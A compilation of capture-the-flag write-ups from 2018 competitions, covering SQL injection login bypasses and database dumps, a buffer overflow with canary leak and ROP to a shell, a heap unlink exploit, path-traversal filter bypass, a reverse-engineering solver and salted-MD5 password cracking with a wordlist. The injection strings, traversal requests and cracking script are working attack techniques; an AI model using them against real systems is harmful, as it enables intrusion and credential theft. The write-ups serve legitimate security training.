I'll let you guess what that video is. There is nothing else we can change in our login except for the `id` - it seems the server serves different "digital secrets" based on the `id` of the logged-in user. We can figure out the `id` for user `Goutham`, since the red herring comment hinted that `Goutham` knows the flag. Given that `id` is a `VARCHAR(255)`, the search space could be quite large, and we could use a character-by-character binary search. Luckily, it is a single digit.
#!/bin/bash for id in {0..9}; do echo "$id" curl --data-urlencode "clientname=Goutham' AND id = '$id' -- " \ --data-urlencode "password=a" "https://vault.wpictf.xyz/login" done
> [link to script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-04-13-WPICTF/scripts/web-200-vault-getid.sh)
The above script injects the additional condition for `id` value into the SQL query. Only when both `clientname` and `id` match a record in the table will a row be found in the result. We can distinguish the two cases based on the different error messages produces ("no such user" vs. "incorrect password"). So we find out that `Goutham` has `id` "2".
> Username: ' UNION SELECT "2", "c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2", "" -- > > Password: foobar
And that works:
Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}" (Log out) |
---layout: posttitle: "Timisoaradate: 20 Avril 2018comments: truecategories: wuauteur: françois---``` ===== INFOS ===== Filename letssortFile format ELF64Architecture x86-64Endianess little endianEntry point 0xa40Loadables segments 2Sections 27
NX bit enabledSSP enabledRelro partialRPATH no rpathRUNPATH no runpathPIE enabled```
Il y a tout d'abord un gros travail de reverse dans ce programme.* Il prend une chaine de caractère s=[c1,.....,cn] e longueur n* Il fait une association
ci <-> di = [c(i+1).....c(n)c(1)...c(i-1)]
* Il trie les di, qui donne d(i1),d(i2),...,d(in) associé à un ordre c(i1)...c(in)* Il est donc relativement facile d'obtenir un classement final voulu aux premières lettres près.
La chaine
"}a Al Bl Cy D EL FO GV HE I Js Ko LR Mt Ni On Pg Q RA SL Tg Uo VR Wi Xt Yh ZM [s \! ]I ^ _R `e a\x00}}}}}}}}}}}}}}}}}}}}}...."
permet d'obtenir en sortie
"DIQ^ally LOVE soRting ALgoRithMs!I Re\R H ] ES Z ..."
On peut enfin noter que si on envoit une chaine terminée par 0, ce 0 n'est pasmis dans le buffer et le tri ne sefait que sur les lettres du début.Ainsi pour avoir GLOP, il suffit d'envoyer
"PPPP\x00" puis "OOO\x00" puis "LL\x00" puis "G\x00"
J'ai préféré envoyer la chaine ce dessus puis compléter les 4 premiers caractèrespar cette dernière méthode.
Bon, donc on peut sortir du programme par cette méthode.
Un buffer overflow est possible de manière assez grossière (on envoit une chaine, puis \x00 et une suite qui écrase la pile à partir du 1024ième caractère)mais un canari existe. Cependant ce canari est facile à retrouver, une fuite a lieupour des chaines envoyées de longueur >= 1023.
On procède donc de la façon suivante:
1) Envoi de "a\x00bbbbbbbb[........]bbbbbb" qui permet d'avoir une fuite d'où ontire le canari et l'adresse de la libc.
2) Envoi de
"}a Al Bl Cy D EL FO GV HE I Js Ko LR Mt Ni On Pg Q RA SL Tg Uo VR Wi Xt Yh ZM [s \! ]I ^ _R `e a\x00}}}}}}}}}}}}}}}}[...]"+payload
où le payload est un simple rop réalisant un appel de system avec /bin/sh commeargument.
3) Envoi de 4 chaines permettant d'obtenir "I Really LOVE soRting ALgoRithMs!"
4) Enjoy du shell
|
Given + x86, no protections + Custom heap + Out of bounds write + Unsafe Unlink + rwx heap+stack
```cstruct chunk{ int size; struct chunk * fd; struct chunk * bk; char space[size];}```
Solution : + Allocate a few chunks+ Overflow into the next chunk to replace fd and bk with GOT['strcpy'] and shellcode jump address.+ spray a region with asm("jmp dword[esp+8]")+ trigger strcpy with controlled parameter as shellcode
Script [here](https://gist.github.com/sudhackar/cd75961a2cad86527acf9eb911b28aff) |
#### TimisoaraCTF 2018 - NG Child (250) - Reverse Engineering
##### Challenge
Oh, you're here... Good, because I really need you at this moment.So, you know I'm ambitious and trying to be accepted at one of thebest universities. Every year they are giving a challenge to studentsthat want to be accepted at their university. An accepted studentis called "Next Generation Child", you know all this Next-Gen hype...I believe this challenge is not so hard and I want to prove that theyare Old-Gen. Ready?
NOTE: When you get something intelligible enclose only the last part in timctf{}
Author: 0xcpu
#### Summary
The challenge is based in the following steps:
0. Patch the binary and remove the anti-debug techniques
1. Get 32 bytes from .data and perform a xor with the (n-odd character)2. Perform a md5 to the result and check with the md5 hashes that they are in .rodata (You have the n-odd character)3. If the md5 is correct, you have to dissasemble the 32 bytes generated with the xor operation.4. The n-pair character is included in this assembly code.5. In one function, perform a call to this assembly code, disassemble it and now you know the character that you need.6. Perform it 12 times (because 12 hashes and 12 binary strings).7. Get the flag
There we go!
#### Solution
Binary:
```ng_child: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2d3481d0b7302267d6d01c8e4021ca735e5acf11, stripped```
We patched the binary with radare2:
Before:
After:
Main code which perform the XOR, md5, and call <assembly code generated with the XOR>
So, disassemble first function and look that it is a simple xor between the first 32 byte got from .data and the first character.
We can know all odd characters now.
Getting the odd characters:
```Python#!/usr/bin/bash
import stringimport md5import binascii
hashes = ["95a196021fa4e9574cd821c9d0ba041f", "5795b8d6e2435c5ecdac54375166b544", "5cc3e196973fbb79c9aa4e18027f866b", "fcc149646e5d3879134804646da90cea", "484ec01fb9e6449c0d80a716077702d1", "73c0dc9db84acd0c336522043b6fd4e3", "b466c3a7d2618bf6f61c6077e3bd6aa0", "e73273179f206a7db0d6960e96b84b82", "01a3e2b4e7523506929b4e3f3ad6dbbb", "bca5b1b2c5716cfd2c2e94cc07c26029", "7339e454bbe37d732026780d70d87c9a", "b5490761c3a6641e8f54de6a47a35eed"]
init = ["3c29373f97e120f8e829baef2000dc293429f8a8fc670f94abf89e492097e120", "a1502936f1a140299ee12100d6213e3697e829a1f56ef1049ee629bae629a23e", "203187f7388ef7381ec031e0b0593de03db0e47f0088f031b9f738b32831a2f9", "23b941382186513800c229918738222b5138b0e47f158af0b68f38b32ab28e86", "3400c8382838b97080f938b95834abf03c2038b9ed76e90bb68631b5bae9b041", "20f839a8e120b89fa0972000d9f8a897e0a9fc67a9505cd89ca4abba492031a0", "2039313720ba68299fe12097e92400d7209ee829a1f56e15f115a79720a2f13f", "422ba3422b00d030f395422b9cea2b95f338a3f76c5298e33895422ba09cea2b", "00dbfb3f2aab6a23645b97eb2aafe32a2afbafff642aabffa9ff64ab6a23a837", "da283b3a28a958200792e928a9582100b9e1a95821abfd66b2e021aaf9322833", "26fe3faee726be99a6912600dffeae91e6affa61af5631de9aa2adbc4f2637a6", "2a00d6263626a76e9ee726a7462ab5ee223e26a7f368f73da8982faba4f7ae5f"]
index_init = 0for h in hashes: for i in string.printable: m = md5.new() d = ord(i) out_x = "" index = 0 while (index < len(init[index_init])): f = init[index_init][index:index+2] d_hex = int("0x"+f,16)^d if f == "00": out_x = out_x + "00" elif len(hex(d_hex)) == 4: out_x = out_x + hex(d_hex).replace("0x","") elif len(hex(d_hex)) == 3: out_x = out_x + hex(d_hex).replace("0x","0") index = index + 2
cadena = "" c1 = "".join(reversed([out_x[0:16][z:z+2] for z in range(0, 16, 2)])) #out_c[0:16] c2 = "".join(reversed([out_x[16:32][z:z+2] for z in range(0, 16, 2)]))#out_c[0:32] c3 = "".join(reversed([out_x[32:48][z:z+2] for z in range(0, 16, 2)]))#out_c[32:48] c4 = "".join(reversed([out_x[48:64][z:z+2] for z in range(0, 16, 2)]))#out_c[48:64] cadena = c1 + c2 + c3 + c4 m.update(binascii.unhexlify(cadena)) h_f = m.hexdigest() if h_f == h: print i, m.hexdigest() index_init+=1
```
Result (Something is wrong with the script because "i" character doesn't appear -.-')
```Bash$ python hash.py h 95a196021fa4e9574cd821c9d0ba041fa 5795b8d6e2435c5ecdac54375166b544p 5cc3e196973fbb79c9aa4e18027f866bp fcc149646e5d3879134804646da90ceay 484ec01fb9e6449c0d80a716077702d1h 73c0dc9db84acd0c336522043b6fd4e3a b466c3a7d2618bf6f61c6077e3bd6aa0c e73273179f206a7db0d6960e96b84b82k 01a3e2b4e7523506929b4e3f3ad6dbbbn 7339e454bbe37d732026780d70d87c9ag b5490761c3a6641e8f54de6a47a35eed```
Next important function includes the pair character in the 32 bytes generated with the xor.
How to solve it? Disassembly, and understand the code, it is easy (obviously, each 32 bytes generated will have different code..)
So, we modified our script to disassembly this code automatically.
```python#!/usr/bin/bash
import stringimport md5import binasciifrom pwn import *
hashes = ["95a196021fa4e9574cd821c9d0ba041f", "5795b8d6e2435c5ecdac54375166b544", "5cc3e196973fbb79c9aa4e18027f866b", "fcc149646e5d3879134804646da90cea", "484ec01fb9e6449c0d80a716077702d1", "73c0dc9db84acd0c336522043b6fd4e3", "b466c3a7d2618bf6f61c6077e3bd6aa0", "e73273179f206a7db0d6960e96b84b82", "01a3e2b4e7523506929b4e3f3ad6dbbb", "bca5b1b2c5716cfd2c2e94cc07c26029", "7339e454bbe37d732026780d70d87c9a", "b5490761c3a6641e8f54de6a47a35eed"]
init = ["3c29373f97e120f8e829baef2000dc293429f8a8fc670f94abf89e492097e120", "a1502936f1a140299ee12100d6213e3697e829a1f56ef1049ee629bae629a23e", "203187f7388ef7381ec031e0b0593de03db0e47f0088f031b9f738b32831a2f9", "23b941382186513800c229918738222b5138b0e47f158af0b68f38b32ab28e86", "3400c8382838b97080f938b95834abf03c2038b9ed76e90bb68631b5bae9b041", "20f839a8e120b89fa0972000d9f8a897e0a9fc67a9505cd89ca4abba492031a0", "2039313720ba68299fe12097e92400d7209ee829a1f56e15f115a79720a2f13f", "422ba3422b00d030f395422b9cea2b95f338a3f76c5298e33895422ba09cea2b", "00dbfb3f2aab6a23645b97eb2aafe32a2afbafff642aabffa9ff64ab6a23a837", "da283b3a28a958200792e928a9582100b9e1a95821abfd66b2e021aaf9322833", "26fe3faee726be99a6912600dffeae91e6affa61af5631de9aa2adbc4f2637a6", "2a00d6263626a76e9ee726a7462ab5ee223e26a7f368f73da8982faba4f7ae5f"]
assembly = []
index_init = 0for h in hashes: for i in string.printable: m = md5.new() d = ord(i) out_x = "" index = 0 while (index < len(init[index_init])): f = init[index_init][index:index+2] d_hex = int("0x"+f,16)^d if f == "00": out_x = out_x + "00" elif len(hex(d_hex)) == 4: out_x = out_x + hex(d_hex).replace("0x","") elif len(hex(d_hex)) == 3: out_x = out_x + hex(d_hex).replace("0x","0") index = index + 2
# Divide en 4 partes e invierte cadena = "" c1 = "".join(reversed([out_x[0:16][z:z+2] for z in range(0, 16, 2)])) #out_c[0:16] c2 = "".join(reversed([out_x[16:32][z:z+2] for z in range(0, 16, 2)]))#out_c[0:32] c3 = "".join(reversed([out_x[32:48][z:z+2] for z in range(0, 16, 2)]))#out_c[32:48] c4 = "".join(reversed([out_x[48:64][z:z+2] for z in range(0, 16, 2)]))#out_c[48:64] cadena = c1 + c2 + c3 + c4 m.update(binascii.unhexlify(cadena)) h_f = m.hexdigest() if h_f == h: assembly.append(binascii.unhexlify(cadena)) print i, m.hexdigest() #print out index_init+=1
context.arch = 'amd64'for a in assembly: print "----------------------" print disasm(a)```
Result:
```bashh 95a196021fa4e9574cd821c9d0ba041fa 5795b8d6e2435c5ecdac54375166b544p 5cc3e196973fbb79c9aa4e18027f866bp fcc149646e5d3879134804646da90ceay 484ec01fb9e6449c0d80a716077702d1h 73c0dc9db84acd0c336522043b6fd4e3a b466c3a7d2618bf6f61c6077e3bd6aa0c e73273179f206a7db0d6960e96b84b82k 01a3e2b4e7523506929b4e3f3ad6dbbbn 7339e454bbe37d732026780d70d87c9ag b5490761c3a6641e8f54de6a47a35eed---------------------- 0: 90 nop 1: 48 89 ff mov rdi,rdi 4: 57 push rdi 5: 5f pop rdi 6: 41 54 push r12 8: 41 b4 00 mov r12b,0x0 b: 48 87 d2 xchg rdx,rdx e: 41 80 fc 67 cmp r12b,0x67 12: 0f 94 c0 sete al 15: 90 nop 16: 41 5c pop r12 18: 48 89 ff mov rdi,rdi 1b: 48 21 f6 and rsi,rsi 1e: 90 nop 1f: c3 ret---------------------- 0: 48 21 c0 and rax,rax 3: 90 nop 4: 57 push rdi 5: 48 31 c0 xor rax,rax 8: 57 push rdi 9: 5f pop rdi a: 40 b7 00 mov dil,0x0 d: 40 80 ff 65 cmp dil,0x65 11: 90 nop 12: 0f 94 c0 sete al 15: 48 89 f6 mov rsi,rsi 18: 5f pop rdi 19: c3 ret 1a: 48 87 db xchg rbx,rbx 1d: 48 87 ff xchg rdi,rdi---------------------- 0: 48 87 fe xchg rsi,rdi 3: 48 87 f7 xchg rdi,rsi 6: 41 50 push r8 8: 90 nop 9: 4d 29 c0 sub r8,r8 c: 90 nop d: 41 b0 6e mov r8b,0x6e 10: 41 80 f8 00 cmp r8b,0x0 14: 0f 94 c0 sete al 17: 4d 89 d2 mov r10,r10 1a: 41 58 pop r8 1c: c3 ret 1d: 48 87 c9 xchg rcx,rcx---------------------- 0: 48 21 f6 and rsi,rsi 3: 51 push rcx 4: 48 31 c9 xor rcx,rcx 7: 53 push rbx 8: 5b pop rbx 9: 52 push rdx a: 48 f7 e1 mul rcx d: 59 pop rcx e: b2 00 mov dl,0x0 10: 80 fa 65 cmp dl,0x65 13: 0f 94 c0 sete al 16: 48 21 f6 and rsi,rsi 19: fe c2 inc dl 1b: 5a pop rdx 1c: c3 ret 1d: 48 ff c6 inc rsi---------------------- 0: 09 c0 or eax,eax 2: 41 51 push r9 4: 41 b1 00 mov r9b,0x0 7: 4d 89 d2 mov r10,r10 a: 4d 21 c0 and r8,r8 d: 41 80 f9 72 cmp r9b,0x72 11: 90 nop 12: 0f 94 c0 sete al 15: 41 59 pop r9 17: 45 38 c9 cmp r9b,r9b 1a: 90 nop 1b: c3 ret 1c: cc int3 1d: 48 ff cf dec rdi---------------------- 0: f7 d0 not eax 2: 48 89 c0 mov rax,rax 5: 51 push rcx 6: 90 nop 7: 48 ff c0 inc rax a: 90 nop b: b1 00 mov cl,0x0 d: 48 ff c8 dec rax 10: b0 34 mov al,0x34 12: 38 c1 cmp cl,al 14: 0f 94 c1 sete cl 17: 88 c8 mov al,cl 19: 59 pop rcx 1a: 48 21 d2 and rdx,rdx 1d: c3 ret 1e: cc int3 1f: f4 hlt---------------------- 0: 48 09 db or rbx,rbx 3: 41 56 push r14 5: 50 push rax 6: 58 pop rax 7: 41 b6 00 mov r14b,0x0 a: 45 88 f6 mov r14b,r14b d: 41 80 fe 74 cmp r14b,0x74 11: 0f 94 c0 sete al 14: 48 89 ff mov rdi,rdi 17: 41 5e pop r14 19: 90 nop 1a: c3 ret 1b: 41 f6 c6 74 test r14b,0x74 1f: 90 nop---------------------- 0: 53 push rbx 1: b3 00 mov bl,0x0 3: 48 21 c0 and rax,rax 6: 48 21 f6 and rsi,rsi 9: 48 89 ff mov rdi,rdi c: 48 21 f6 and rsi,rsi f: 90 nop 10: 80 fb 31 cmp bl,0x31 13: 0f 94 c0 sete al 16: 5b pop rbx 17: 90 nop 18: 48 89 ff mov rdi,rdi 1b: c3 ret 1c: 48 21 f6 and rsi,rsi 1f: 5b pop rbx---------------------- 0: 48 01 c0 add rax,rax 3: 41 54 push r12 5: 90 nop 6: b0 00 mov al,0x0 8: 41 88 c4 mov r12b,al b: 41 80 fc 30 cmp r12b,0x30 f: 0f 94 c0 sete al 12: 41 0f 94 c4 sete r12b 16: 90 nop 17: 41 5c pop r12 19: c3 ret 1a: 48 01 c0 add rax,rax 1d: 0f 94 c2 sete dl---------------------- 0: f7 d0 not eax 2: 48 89 c0 mov rax,rax 5: 51 push rcx 6: 90 nop 7: 48 ff c0 inc rax a: 90 nop b: b1 00 mov cl,0x0 d: 48 ff c8 dec rax 10: b0 5f mov al,0x5f 12: 38 c1 cmp cl,al 14: 0f 94 c1 sete cl 17: 88 c8 mov al,cl 19: 59 pop rcx 1a: 48 21 d2 and rdx,rdx 1d: c3 ret 1e: cc int3 1f: f4 hlt---------------------- 0: 09 c0 or eax,eax 2: 41 51 push r9 4: 41 b1 00 mov r9b,0x0 7: 4d 89 d2 mov r10,r10 a: 4d 21 c0 and r8,r8 d: 41 80 f9 5a cmp r9b,0x5a 11: 90 nop 12: 0f 94 c0 sete al 15: 41 59 pop r9 17: 45 38 c9 cmp r9b,r9b 1a: 90 nop 1b: c3 ret 1c: cc int3 1d: 48 ff cf dec rdi```
Result:
```# ./ng_childNew Generation Child Verifier=============================Are you a NG child or not!?We are checking every child!No one will pass by, no one!!!(If you're not, come back next year ;-) )hgaepnpeyrh4atc1k0inn_gZGot it!Got it!Got it!Got it!Got it!Got it!Got it!Got it!Got it!Got it!Got it!Good!```
```happyhacking <- oddsgener4t10n_Z <- pairs```
Reading the challenge, we know that the flag is:
```timctf{gener4t10n_Z}```
Happy Hacking!! |
```import hashlib
version = "00000020"previous_hash = "94c76b9fd810946630fe5d38748daf2541b36f20ab042a000000000000000000"merkle_root = "d4d006dec8c23bcf1eef58de62939c8e436218527b7d04eacf12e5a88eaec0ed"time = "1a45d15a"bits = 'b72a5017'nonce = "664c8064"
header_hex = version+previous_hash+merkle_root+time+bits+nonceheader_bin = header_hex.decode('hex')hash = hashlib.sha256(hashlib.sha256(header_bin).digest()).digest()print hash[::-1].encode('hex_codec') #0000000000000000000854f801e84750ffa9aaa97e74c36e975df3fa2ad5627cprint "flag: HZVI{"+header_hex+"}"``` |
# ▼▼▼Deery (Web:20pts)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```deery.woodlandhighschool.xyz```
---
**【Understanding function】**
```GET / HTTP/1.1Host: deery.woodlandhighschool.xyz```
↓
```・・・<script> function dontUDare(){ document.onmousedown=function(event){ while(true) { alert("Don't poke me like that"); alert("Go away, I'm too shy..."); alert("No..."); alert("I said no..."); } } } </script>・・・```
↓
When clicking with mouse, alert is displayed.
Although there are sign up and sign in buttons, there was no place to send a request.
---
**【I will go checking javasvript】**
↓
```GET /components/transition.js HTTP/1.1Host: deery.woodlandhighschool.xyz```
↓
Although the source code was long, searching with flag caught me.
↓
``` // of course that here is the flag, what did you expect? // timctf{Woodland_highschool_rocks_in_2018}```
↓
`timctf{Woodland_highschool_rocks_in_2018}` |
**Crimemail - WEB**
Enoncé :```Collins Hackle is a notorious bad guy, and you've decided to take him down. You need something on him, anything, to send the police his way, and it seems he uses CrimeMail, a very specialized email service, to communicate with his associates.
Let's see if you can hack your way in his account...```
Sur la page **forgot.php** on trouve rapidement une injection SQL :
```username = admin'```
On regarde si on peut l'exploiter facilement :```username = admin '||1#```
On récupère le nom de la base de données :
```username = admin 'union select database()#```
Resultat :
```Here is the requested hint for this username:
array(1) { [0]=> array(1) { ["hint"]=> string(2) "db" }}
```
Injection :
```username= admin' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables where table_schema ='db'#```
Resultat :
```array(1) { [0]=> array(1) { ["hint"]=> string(5) "users" }}```
Injection :
```admin' UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_schema ='db'#```Resultat :
```array(1) { [0]=> array(1) { ["hint"]=> string(39) "userID,username,pass_salt,pass_md5,hint" }}```
Injection :
```admin' UNION SELECT username FROM users#```
Resultat :```array(5) { [0]=> array(1) { ["hint"]=> string(9) "p.escobar" } [1]=> array(1) { ["hint"]=> string(7) "g.dupuy" } [2]=> array(1) { ["hint"]=> string(8) "a.capone" } [3]=> array(1) { ["hint"]=> string(8) "c.manson" } [4]=> array(1) { ["hint"]=> string(8) "c.hackle" }
```
Injection :
```admin' UNION SELECT pass_salt FROM users where username='c.hackle'#```
Resultat :
```array(1) { [0]=> array(1) { ["hint"]=> string(4) "yhbG" }}```
Injection :
```admin' UNION SELECT pass_md5 FROM users where username='c.hackle'#```Resultat :```array(1) { [0]=> array(1) { ["hint"]=> string(32) "f2b31b3a7a7c41093321d0c98c37f5ad" }}```
Sinon une variante avec sqlmap :
```sqlmap.py -u https://crimemail.ctf.insecurity-insa.fr/hint.php --data="username=C" Database: dbTable: users[5 entries]+--------+-----------------------------+-----------+----------------------------------+-----------+| userID | hint | username | pass_md5 | pass_salt |+--------+-----------------------------+-----------+----------------------------------+-----------+| 1 | NULL | p.escobar | c4598aadc36b55ba1a4f64f16e2b32f1 | Jdhy || 2 | NULL | g.dupuy | 0fd221fc1358c698ae5db16992703bcd | Kujh || 3 | NULL | a.capone | 23afc9d3a96e5c338f7ba7da4f8d59f8 | hTjl || 4 | NULL | c.manson | fe3437f0308c444f0b536841131f5274 | YbEr || 5 | I don't need any hints man! | c.hackle | f2b31b3a7a7c41093321d0c98c37f5ad | yhbG |+--------+-----------------------------+-----------+----------------------------------+-----------+```
Maintenant on cherche la correspondance du hash dans le dictionnaire rockyou :
```PYTHON
import hashlib
passlist = open("/home/ark1nar/tools/wordlists/rockyou.txt", 'r')for password in passlist: m = hashlib.md5() m.update(password[:-1] + "yhbG") if m.hexdigest() == "f2b31b3a7a7c41093321d0c98c37f5ad": print 'FOUND:' + password
```
On trouve rapidement le mot de passe : pizza
FLAG :
```UNKNOWN SENDER says:
Meet me at INSA{s3cr3t_l0cat10n}```
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
# ▼▼▼BookDir (Web:125pts)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```89.38.210.129:8012```
---
**【Identify the vulnerability and filter】**
**(1)Normal response**
```GET /books/booklist.php?f=Beloved HTTP/1.1GET /books/booklist.php?f=./Beloved HTTP/1.1GET /books/booklist.php?f=./../Beloved HTTP/1.1GET /books/booklist.php?f=././Be../loved HTTP/1.1GET /books/booklist.php?f=./../Beloved../ HTTP/1.1GET /books/booklist.php?f=/////////Beloved HTTP/1.1GET /books/booklist.php?f=..//Beloved HTTP/1.1```
↓
```"\"124 was spiteful. Full of baby's venom. The women in the house knew it and so did the children.\"\n"```
---
**(2)Different from normal response**
```GET /books/booklist.php?f=..././Beloved HTTP/1.1GET /books/booklist.php?f=..Beloved HTTP/1.1GET /books/booklist.php?f=B/eloved HTTP/1.1GET /books/booklist.php?f=B./eloved HTTP/1.1```
↓
false
---
Conclusion
↓
・LFI vulnerability exists!!
・Behavior of filter
`../` will be deleted
`..` will not deleted
`./` will not deleted
`/` will not deleted
---
**【Get source code】**
GET /books/booklist.php?f=`....//booklist.php`
↓
```" $file]; }
echo json_encode($files);}"```
↓
In the `X-Dir header`, you can get the file list of the directory
---
**【Get file list】**
**(1)Get the file list of `./`**
↓
```GET /books/booklist.php HTTP/1.1Host: 89.38.210.129:8012X-Dir: ./```
↓
```[{"name":"Beloved"},{"name":"Catch-22"},{"name":"Lolita"},{"name":"Nineteen Eighty-Four"},{"name":"The Catcher in the Rye"},{"name":"The Grapes of Wrath"},{"name":"The Great Gatsby"},{"name":"The Sound and the Fury"},{"name":"Ulysses"}]```
---
**(2)Get the file list of `../`**
```GET /books/booklist.php HTTP/1.1Host: 89.38.210.129:8012X-Dir: ../```
↓
```[{"name":"4o4_fl4g_n0t_f0und.php"},{"name":"booklist.php"},{"name":"books.js"},{"name":"css"},{"name":"index.html"},{"name":"list"},{"name":"vendor"}]```
---
**【Get a flag file】**
```GET /books/booklist.php?f=....//4o4_fl4g_n0t_f0und.php HTTP/1.1```
↓
```" |
# __Timisoara CTF__ ## _SSS Part 2_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 250 | MiKHalyCH
**Description:**
> [files](sss_part2.zip)
## SolutionThis task is all about [bad realization](sss.py) of SSS algo. It uses same coefficients for different [splits](shares.txt).
If `f(x)` is [lagrange polynomial](https://en.wikipedia.org/wiki/Lagrange_polynomial), then each `y = f(x) + hex(flag_substring)`.
It means that `y_21 - y_11 = y_22 - y_21`. We can compute `y_i` for each chunk, if we know `y_i` for just one chunk and difference between any results.
So let's calculate `y_1` for each chunk.
Yet we need to predict `f(x)` to decrypt each part of flag.
We know the first 7 bytes of flag: `timctf{`. We need to predict only 3 another.
[After several attempts](solver.py) I got the flag |
Subsets and Splits
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